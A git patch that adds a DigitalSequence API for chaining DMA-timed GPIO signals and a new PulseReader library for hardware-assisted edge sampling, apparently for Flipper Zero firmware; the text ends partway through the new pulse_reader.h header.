From 38eef0703b69351952531e94f28d2b3c97e9b83a Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Thu, 1 Dec 2022 01:37:50 +0100 Subject: [PATCH 001/329] added DigitalSequence to chain multiple DigitalSignals added PulseReader for hardware assisted digital signal sampling --- lib/SConscript | 1 + lib/digital_signal/digital_signal.c | 451 +++++++++++++++++++++++----- lib/digital_signal/digital_signal.h | 43 ++- lib/pulse_reader/pulse_reader.c | 202 +++++++++++++ lib/pulse_reader/pulse_reader.h | 140 +++++++++ 5 files changed, 761 insertions(+), 76 deletions(-) create mode 100644 lib/pulse_reader/pulse_reader.c create mode 100644 lib/pulse_reader/pulse_reader.h diff --git a/lib/SConscript b/lib/SConscript index abede5f33..21b68f161 100644 --- a/lib/SConscript +++ b/lib/SConscript @@ -4,6 +4,7 @@ env.Append( LINT_SOURCES=[ Dir("app-scened-template"), Dir("digital_signal"), + Dir("pulse_reader"), Dir("drivers"), Dir("flipper_format"), Dir("infrared"), diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 46ca307a7..c7e8bbca5 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -1,23 +1,46 @@ #include "digital_signal.h" #include -#include -#include +#include #include -#pragma GCC optimize("O3,unroll-loops,Ofast") +#define TAG "DigitalSignal" + + +#define F_TIM (64000000.0) +#define T_TIM 1562 /* 15.625 ns *100 */ +#define T_TIM_DIV2 781 /* 15.625 ns / 2 *100 */ -#define F_TIM (64000000.0) -#define T_TIM 1562 //15.625 ns *100 -#define T_TIM_DIV2 781 //15.625 ns / 2 *100 DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { DigitalSignal* signal = malloc(sizeof(DigitalSignal)); signal->start_level = true; signal->edges_max_cnt = max_edges_cnt; - signal->edge_timings = malloc(max_edges_cnt * sizeof(uint32_t)); - signal->reload_reg_buff = malloc(max_edges_cnt * sizeof(uint32_t)); + signal->edge_timings = malloc(signal->edges_max_cnt * sizeof(uint32_t)); signal->edge_cnt = 0; + signal->reload_reg_buff = malloc(signal->edges_max_cnt * sizeof(uint32_t)); + signal->reload_reg_entries = 0; + signal->reload_reg_remainder = 0; + + signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + signal->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->dma_config_gpio.NbData = 2; + signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) &(TIM2->ARR); + signal->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + signal->dma_config_timer.Mode = LL_DMA_MODE_NORMAL; + signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + signal->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; return signal; } @@ -37,7 +60,10 @@ bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b) { if(signal_a->edges_max_cnt < signal_a->edge_cnt + signal_b->edge_cnt) { return false; } - + /* in case there are no edges in our target signal, the signal to append makes the rules */ + if(!signal_a->edge_cnt) { + signal_a->start_level = signal_b->start_level; + } bool end_level = signal_a->start_level; if(signal_a->edge_cnt) { end_level = signal_a->start_level ^ !(signal_a->edge_cnt % 2); @@ -72,6 +98,32 @@ uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal) { return signal->edge_cnt; } +void digital_signal_add(DigitalSignal* signal, uint32_t ticks) { + furi_assert(signal); + furi_assert(signal->edge_cnt < signal->edges_max_cnt); + + signal->edge_timings[signal->edge_cnt++] = ticks; +} + +void digital_signal_add_pulse(DigitalSignal* signal, uint32_t ticks, bool level) { + furi_assert(signal); + furi_assert(signal->edge_cnt < signal->edges_max_cnt); + + /* virgin signal? add it as the only level */ + if(signal->edge_cnt == 0) { + signal->start_level = level; + signal->edge_timings[signal->edge_cnt++] = ticks; + } else { + bool end_level = signal->start_level ^ !(signal->edge_cnt % 2); + + if(level != end_level) { + signal->edge_timings[signal->edge_cnt++] = ticks; + } else { + signal->edge_timings[signal->edge_cnt - 1] += ticks; + } + } +} + uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { furi_assert(signal); furi_assert(edge_num < signal->edge_cnt); @@ -79,76 +131,76 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { return signal->edge_timings[edge_num]; } -void digital_signal_prepare_arr(DigitalSignal* signal) { - uint32_t t_signal_rest = signal->edge_timings[0]; - uint32_t r_count_tick_arr = 0; - uint32_t r_rest_div = 0; +void digital_signal_prepare(DigitalSignal* signal) { + furi_assert(signal); + furi_assert(signal->gpio); + furi_assert(signal->gpio->pin); + + /* set up signal polarities */ + uint32_t bit_set = signal->gpio->pin; + uint32_t bit_reset = signal->gpio->pin << 16; - for(size_t i = 0; i < signal->edge_cnt - 1; i++) { - r_count_tick_arr = t_signal_rest / T_TIM; - r_rest_div = t_signal_rest % T_TIM; - t_signal_rest = signal->edge_timings[i + 1] + r_rest_div; + if(signal->start_level) { + signal->gpio_buff[0] = bit_set; + signal->gpio_buff[1] = bit_reset; + } else { + signal->gpio_buff[0] = bit_reset; + signal->gpio_buff[1] = bit_set; + } - if(r_rest_div < T_TIM_DIV2) { - signal->reload_reg_buff[i] = r_count_tick_arr - 1; - } else { - signal->reload_reg_buff[i] = r_count_tick_arr; - t_signal_rest -= T_TIM; + /* set up edge timings */ + signal->reload_reg_entries = 0; + + for(size_t pos = 0; pos < signal->edge_cnt; pos++) { + uint32_t pulse_duration = signal->edge_timings[pos] + signal->reload_reg_remainder; + uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; + signal->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); + + if(pulse_ticks > 1) { + signal->reload_reg_buff[signal->reload_reg_entries++] = pulse_ticks - 1; } } } -void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { +static void digital_signal_stop_dma() { + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); +} + +static void digital_signal_stop_timer() { + LL_TIM_DisableCounter(TIM2); + LL_TIM_SetCounter(TIM2, 0); +} + +static bool digital_signal_setup_dma(DigitalSignal* signal) { furi_assert(signal); - furi_assert(gpio); - // Configure gpio as output - furi_hal_gpio_init(gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - - // Init gpio buffer and DMA channel - uint16_t gpio_reg = gpio->port->ODR; - uint16_t gpio_buff[2]; - if(signal->start_level) { - gpio_buff[0] = gpio_reg | gpio->pin; - gpio_buff[1] = gpio_reg & ~(gpio->pin); - } else { - gpio_buff[0] = gpio_reg & ~(gpio->pin); - gpio_buff[1] = gpio_reg | gpio->pin; + if(!signal->reload_reg_entries) { + return false; } - LL_DMA_InitTypeDef dma_config = {}; - dma_config.MemoryOrM2MDstAddress = (uint32_t)gpio_buff; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (gpio->port->ODR); - dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - dma_config.Mode = LL_DMA_MODE_CIRCULAR; - dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_HALFWORD; - dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_HALFWORD; - dma_config.NbData = 2; - dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &dma_config); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); - // Init timer arr register buffer and DMA channel - digital_signal_prepare_arr(signal); - dma_config.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; - dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); - dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; - dma_config.Mode = LL_DMA_MODE_NORMAL; - dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; - dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; - dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; - dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; - dma_config.NbData = signal->edge_cnt - 2; - dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; - dma_config.Priority = LL_DMA_PRIORITY_HIGH; - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &dma_config); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->edge_cnt - 2); + signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t) signal->gpio_buff; + signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) &(signal->gpio->port->BSRR); + signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; + signal->dma_config_timer.NbData = signal->reload_reg_entries; + + /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &signal->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &signal->dma_config_timer); + + /* enable both DMA channels */ + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - // Set up timer + return true; +} + +static void digital_signal_setup_timer() { + + digital_signal_stop_timer(); + LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); LL_TIM_SetPrescaler(TIM2, 0); @@ -156,18 +208,267 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { LL_TIM_SetCounter(TIM2, 0); LL_TIM_EnableUpdateEvent(TIM2); LL_TIM_EnableDMAReq_UPDATE(TIM2); +} - // Start transactions - LL_TIM_GenerateEvent_UPDATE(TIM2); // Do we really need it? +static void digital_signal_start_timer() { + LL_TIM_GenerateEvent_UPDATE(TIM2); LL_TIM_EnableCounter(TIM2); +} - while(!LL_DMA_IsActiveFlag_TC2(DMA1)) - ; +void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { + furi_assert(signal); + + if(!signal->edge_cnt) { + return; + } + + /* Configure gpio as output */ + signal->gpio = gpio; + furi_hal_gpio_init(signal->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + + /* single signal, add a temporary, terminating edge at the end */ + signal->edge_timings[signal->edge_cnt++] = 10; + digital_signal_prepare(signal); + + digital_signal_setup_dma(signal); + digital_signal_setup_timer(); + digital_signal_start_timer(); + + while(!LL_DMA_IsActiveFlag_TC2(DMA1)) { + } + + digital_signal_stop_timer(); + digital_signal_stop_dma(); + + signal->edge_cnt--; +} + +void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { + sequence->signals_size = size; + sequence->signals = malloc(sequence->signals_size * sizeof(DigitalSignal*)); + sequence->signals_prolonged = malloc(sequence->signals_size * sizeof(bool)); +} + +void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { + sequence->sequence_used = 0; + sequence->sequence_size = size; + sequence->sequence = malloc(sequence->sequence_size); +} + +DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { + + DigitalSequence* sequence = malloc(sizeof(DigitalSequence)); + + sequence->gpio = gpio; + sequence->bake = false; + + digital_sequence_alloc_signals(sequence, 32); + digital_sequence_alloc_sequence(sequence, size); + + return sequence; +} + +void digital_sequence_free(DigitalSequence* sequence) { + furi_assert(sequence); + + free(sequence->signals); + free(sequence->sequence); + free(sequence); +} + +void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index, DigitalSignal* signal) { + furi_assert(sequence); + furi_assert(signal); + furi_assert(signal_index < sequence->signals_size); + + sequence->signals[signal_index] = signal; + signal->gpio = sequence->gpio; + signal->reload_reg_remainder = 0; + + digital_signal_prepare(signal); +} + +void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { + furi_assert(sequence); + furi_assert(signal_index < sequence->signals_size); + + if(sequence->sequence_used >= sequence->sequence_size) { + sequence->sequence_size += 256; + sequence->sequence = realloc(sequence->sequence, sequence->sequence_size); + } + + sequence->sequence[sequence->sequence_used++] = signal_index; +} + +void digital_signal_update_dma(DigitalSignal* signal) { + + volatile uint32_t dma1_data[] = { + /* R6 */ (uint32_t)&(DMA1_Channel1->CCR), + /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, + /* R8 */ 2, + /* R9 */ (uint32_t)&(signal->gpio->port->BSRR), + /* R10 */ (uint32_t)signal->gpio_buff, + /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN }; + + volatile uint32_t dma2_data[] = { + /* R0 */ (uint32_t)&(DMA1_Channel2->CCR), + /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, + /* R2 */ (uint32_t)signal->reload_reg_entries, + /* R3 */ (uint32_t)&(TIM2->ARR), + /* R4 */ (uint32_t)signal->reload_reg_buff, + /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN }; + + + /* hurry when setting up next transfer */ + asm volatile("\t" + "MOV r6, %[data1]\n\t" + "MOV r7, %[data2]\n\t" + + "PUSH {r0-r12}\n\t" + + "LDM r7, {r0-r5}\n\t" + "LDM r6, {r6-r11}\n\t" + + "loop:\n\t" + "LDR r12, [r0, #4]\n\t" + "CMP r12, #0\n\t" + "BNE loop\n\t" + + "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ + "STR r11, [r6, #0]\n\t" /* enable channel again */ + "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ + "STR r5, [r0, #0]\n\t" /* enable channel again */ + + "POP {r0-r12}\n\t" + + : /* no outputs*/ + : /* inputs */ + [data1] "r" (dma1_data), + [data2] "r" (dma2_data) + : "r6", "r7" ); + LL_DMA_ClearFlag_TC1(DMA1); LL_DMA_ClearFlag_TC2(DMA1); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); +} + +static bool digital_sequence_send_signal(DigitalSignal* signal) { + furi_assert(signal); + + /* the first iteration has to set up the whole machinery */ + if(!LL_DMA_IsEnabledChannel(DMA1, LL_DMA_CHANNEL_1)) { + if(!digital_signal_setup_dma(signal)) { + FURI_LOG_D(TAG, "digital_sequence_send_signal: Signal has no entries, aborting"); + return false; + } + digital_signal_setup_timer(); + digital_signal_start_timer(); + } else { + /* configure next polarities and timings */ + digital_signal_update_dma(signal); + } + + return true; +} + +DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { + + uint32_t edges = 0; + + for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { + uint8_t signal_index = sequence->sequence[pos]; + DigitalSignal *sig = sequence->signals[signal_index]; + + edges += sig->edge_cnt; + } + + DigitalSignal* ret = digital_signal_alloc(edges); + + for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { + uint8_t signal_index = sequence->sequence[pos]; + DigitalSignal *sig = sequence->signals[signal_index]; + + digital_signal_append(ret, sig); + } + + return ret; +} + +bool digital_sequence_send(DigitalSequence* sequence) { + furi_assert(sequence); + + furi_hal_gpio_init(sequence->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + + if(sequence->bake) { + DigitalSignal* sig = digital_sequence_bake(sequence); + + digital_signal_send(sig, sequence->gpio); + digital_signal_free(sig); + return true; + } + + int32_t remainder = 0; + FURI_CRITICAL_ENTER(); + + for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { + uint8_t signal_index = sequence->sequence[pos]; + DigitalSignal *sig = sequence->signals[signal_index]; + + if(!sig) { + FURI_LOG_D(TAG, "digital_sequence_send: Signal at index %u, used at pos %lu is NULL, aborting", signal_index, pos); + break; + } + + /* when we are too late more than half a tick, make the first edge temporarily longer */ + bool needs_prolongation = false; + + if(remainder >= T_TIM_DIV2) { + remainder -= T_TIM; + needs_prolongation = true; + } + + /* update the total remainder */ + remainder += sig->reload_reg_remainder; + + /* do we need to update the prolongation? */ + if(needs_prolongation != sequence->signals_prolonged[signal_index]) { + if(needs_prolongation) { + sig->edge_timings[0]++; + } else { + sig->edge_timings[0]--; + } + sequence->signals_prolonged[signal_index] = needs_prolongation; + } + + bool success = digital_sequence_send_signal(sig); + + if(!success) { + break; + } + } + FURI_CRITICAL_EXIT(); + + while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { + } + + digital_signal_stop_timer(); + digital_signal_stop_dma(); + + /* undo previously prolonged edges */ + for(uint32_t pos = 0; pos < sequence->signals_size; pos++) { + DigitalSignal *sig = sequence->signals[pos]; + + if(sig && sequence->signals_prolonged[pos]) { + sig->edge_timings[0]--; + sequence->signals_prolonged[pos] = false; + } + } + + return true; +} + +void digital_sequence_clear(DigitalSequence* sequence) { + furi_assert(sequence); + + sequence->sequence_used = 0; } diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 90905d74b..8f6142258 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -5,26 +5,57 @@ #include #include +#include +#include #ifdef __cplusplus extern "C" { #endif +/* helper for easier signal generation */ +#define DIGITAL_SIGNAL_MS(x) (x*100000000UL) +#define DIGITAL_SIGNAL_US(x) (x*100000UL) +#define DIGITAL_SIGNAL_NS(x) (x*100UL) +#define DIGITAL_SIGNAL_PS(x) (x/10UL) + + typedef struct { bool start_level; uint32_t edge_cnt; uint32_t edges_max_cnt; uint32_t* edge_timings; uint32_t* reload_reg_buff; + uint32_t reload_reg_entries; + uint32_t reload_reg_remainder; + uint32_t gpio_buff[2]; + const GpioPin* gpio; + LL_DMA_InitTypeDef dma_config_gpio; + LL_DMA_InitTypeDef dma_config_timer; } DigitalSignal; +typedef struct { + uint8_t signals_size; + bool bake; + uint32_t sequence_used; + uint32_t sequence_size; + DigitalSignal** signals; + bool* signals_prolonged; + uint8_t* sequence; + const GpioPin* gpio; +} DigitalSequence; + + DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); void digital_signal_free(DigitalSignal* signal); +void digital_signal_add(DigitalSignal* signal, uint32_t ticks); + +void digital_signal_add_pulse(DigitalSignal* signal, uint32_t ticks, bool level); + bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); -void digital_signal_prepare_arr(DigitalSignal* signal); +void digital_signal_prepare(DigitalSignal* signal); bool digital_signal_get_start_level(DigitalSignal* signal); @@ -34,6 +65,16 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num); void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); + +DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio); +void digital_sequence_free(DigitalSequence* sequence); +void digital_sequence_set_signal(DigitalSequence* sequence, uint8_t signal_index, DigitalSignal* signal); +void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index); +bool digital_sequence_send(DigitalSequence* sequence); +void digital_sequence_clear(DigitalSequence* sequence); + + + #ifdef __cplusplus } #endif diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c new file mode 100644 index 000000000..18e7ee98d --- /dev/null +++ b/lib/pulse_reader/pulse_reader.c @@ -0,0 +1,202 @@ +#include +#include +#include +#include + +#include "pulse_reader.h" + + +#define GPIO_PIN_MAP(pin, prefix) \ + (((pin) == (LL_GPIO_PIN_0)) ? prefix##0 : \ + ((pin) == (LL_GPIO_PIN_1)) ? prefix##1 : \ + ((pin) == (LL_GPIO_PIN_2)) ? prefix##2 : \ + ((pin) == (LL_GPIO_PIN_3)) ? prefix##3 : \ + ((pin) == (LL_GPIO_PIN_4)) ? prefix##4 : \ + ((pin) == (LL_GPIO_PIN_5)) ? prefix##5 : \ + ((pin) == (LL_GPIO_PIN_6)) ? prefix##6 : \ + ((pin) == (LL_GPIO_PIN_7)) ? prefix##7 : \ + ((pin) == (LL_GPIO_PIN_8)) ? prefix##8 : \ + ((pin) == (LL_GPIO_PIN_9)) ? prefix##9 : \ + ((pin) == (LL_GPIO_PIN_10)) ? prefix##10 : \ + ((pin) == (LL_GPIO_PIN_11)) ? prefix##11 : \ + ((pin) == (LL_GPIO_PIN_12)) ? prefix##12 : \ + ((pin) == (LL_GPIO_PIN_13)) ? prefix##13 : \ + ((pin) == (LL_GPIO_PIN_14)) ? prefix##14 : \ + prefix##15) + +#define GET_DMAMUX_EXTI_LINE(pin) GPIO_PIN_MAP(pin, LL_DMAMUX_REQ_GEN_EXTI_LINE) + + + +PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { + + PulseReader* signal = malloc(sizeof(PulseReader)); + signal->timer_buffer = malloc(size * sizeof(uint32_t)); + signal->gpio_buffer = malloc(size * sizeof(uint32_t)); + signal->dma_channel = LL_DMA_CHANNEL_4; + signal->gpio = gpio; + signal->size = size; + signal->timer_value = 0; + signal->pos = 0; + + pulse_reader_set_timebase(signal, PulseReaderUnit64MHz); + pulse_reader_set_bittime(signal, 1); + + signal->dma_config_timer.Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY; + signal->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) &(TIM2->CNT); + signal->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t) signal->timer_buffer; + signal->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->dma_config_timer.Mode = LL_DMA_MODE_CIRCULAR; + signal->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ + signal->dma_config_timer.Priority = LL_DMA_PRIORITY_VERYHIGH; + + signal->dma_config_gpio.Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY; + signal->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + signal->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + signal->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + signal->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + signal->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + signal->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_GENERATOR0; /* executes LL_DMA_SetPeriphRequest */ + signal->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + return signal; +} + +void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit) { + switch(unit) { + case PulseReaderUnit64MHz: + signal->unit_multiplier = 1; + signal->unit_divider = 1; + break; + case PulseReaderUnitPicosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1; + break; + case PulseReaderUnitNanosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1000; + break; + case PulseReaderUnitMicrosecond: + signal->unit_multiplier = 15625; + signal->unit_divider = 1000000; + break; + } +} + +void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time) { + signal->bit_time = bit_time; +} + +void pulse_reader_free(PulseReader* signal) { + free(signal->timer_buffer); + free(signal->gpio_buffer); + free(signal); +} + +uint32_t pulse_reader_samples(PulseReader* signal) { + uint32_t dma_pos = signal->size - (uint32_t)LL_DMA_GetDataLength(DMA1, signal->dma_channel); + + return ((signal->pos + signal->size) - dma_pos) % signal->size; +} + +void pulse_reader_stop(PulseReader* signal) { + LL_DMA_DisableChannel(DMA1, signal->dma_channel); + LL_DMA_DisableChannel(DMA1, signal->dma_channel+1); + LL_DMAMUX_DisableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); + LL_TIM_DisableCounter(TIM2); +} + +void pulse_reader_start(PulseReader* signal) { + /* configure DMA to read from a timer peripheral */ + signal->dma_config_timer.NbData = signal->size; + + signal->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) &(signal->gpio->port->IDR); + signal->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t) signal->gpio_buffer; + signal->dma_config_gpio.NbData = signal->size; + + /* start counter */ + LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); + LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); + LL_TIM_SetPrescaler(TIM2, 0); + LL_TIM_SetAutoReload(TIM2, 0xFFFFFFFF); + LL_TIM_SetCounter(TIM2, 0); + LL_TIM_EnableCounter(TIM2); + + /* generator 0 gets fed by EXTI_LINEn */ + LL_DMAMUX_SetRequestSignalID(NULL, LL_DMAMUX_REQ_GEN_0, GET_DMAMUX_EXTI_LINE(signal->gpio->pin)); + /* trigger on rising edge of the interrupt */ + LL_DMAMUX_SetRequestGenPolarity(NULL, LL_DMAMUX_REQ_GEN_0, LL_DMAMUX_REQ_GEN_POL_RISING); + /* now enable request generation again */ + LL_DMAMUX_EnableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); + + /* we need the EXTI to be configured as interrupt generating line, but no ISR registered */ + furi_hal_gpio_init_ex(signal->gpio, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedVeryHigh, GpioAltFnUnused); + + /* capture current timer */ + signal->pos = 0; + signal->start_level = furi_hal_gpio_read(signal->gpio); + signal->timer_value = TIM2->CNT; + signal->gpio_mask = signal->gpio->pin; + + /* now set up DMA with these settings */ + LL_DMA_Init(DMA1, signal->dma_channel, &signal->dma_config_timer); + LL_DMA_Init(DMA1, signal->dma_channel + 1, &signal->dma_config_gpio); + LL_DMA_EnableChannel(DMA1, signal->dma_channel); + LL_DMA_EnableChannel(DMA1, signal->dma_channel + 1); +} + +uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us) { + + uint32_t start_time = DWT->CYCCNT; + uint32_t timeout_ticks = timeout_us * (F_TIM2/1000000); + + do { + /* get the DMA's next write position by reading "remaining length" register */ + uint32_t dma_pos = signal->size - (uint32_t)LL_DMA_GetDataLength(DMA1, signal->dma_channel); + + /* the DMA has advanced in the ringbuffer */ + if(dma_pos != signal->pos) { + + uint32_t delta = signal->timer_buffer[signal->pos] - signal->timer_value; + uint32_t last_gpio_value = signal->gpio_value; + + signal->gpio_value = signal->gpio_buffer[signal->pos]; + + /* check if the GPIO really toggled. if not, we lost an edge :( */ + if(((last_gpio_value ^ signal->gpio_value) & signal->gpio_mask) != signal->gpio_mask) { + signal->gpio_value ^= signal->gpio_mask; + return PULSE_READER_LOST_EDGE; + } + signal->timer_value = signal->timer_buffer[signal->pos]; + + signal->pos++; + signal->pos %= signal->size; + + uint32_t delta_unit = 0; + + /* probably larger values, so choose a wider data type */ + if(signal->unit_divider > 1) { + delta_unit = (uint32_t)((uint64_t)delta * (uint64_t)signal->unit_multiplier / signal->unit_divider); + } else { + delta_unit = delta * signal->unit_multiplier; + } + + /* if to be scaled to bit times, save a few instructions. should be faster */ + if(signal->bit_time > 1) { + return (delta_unit + signal->bit_time / 2) / signal->bit_time; + } + + return delta_unit; + } + + /* check for timeout */ + uint32_t elapsed = DWT->CYCCNT - start_time; + + if(elapsed > timeout_ticks) { + return PULSE_READER_NO_EDGE; + } + } while(true); +} diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h new file mode 100644 index 000000000..f55a65931 --- /dev/null +++ b/lib/pulse_reader/pulse_reader.h @@ -0,0 +1,140 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define PULSE_READER_NO_EDGE 0xFFFFFFFFUL +#define PULSE_READER_LOST_EDGE 0xFFFFFFFEUL +#define F_TIM2 64000000UL + +/** + * unit of the edge durations to return + */ +typedef enum { + PulseReaderUnit64MHz, + PulseReaderUnitPicosecond, + PulseReaderUnitNanosecond, + PulseReaderUnitMicrosecond, +} PulseReaderUnit; + + +typedef struct { + bool start_level; + uint32_t* timer_buffer; + uint32_t* gpio_buffer; + uint32_t size; + 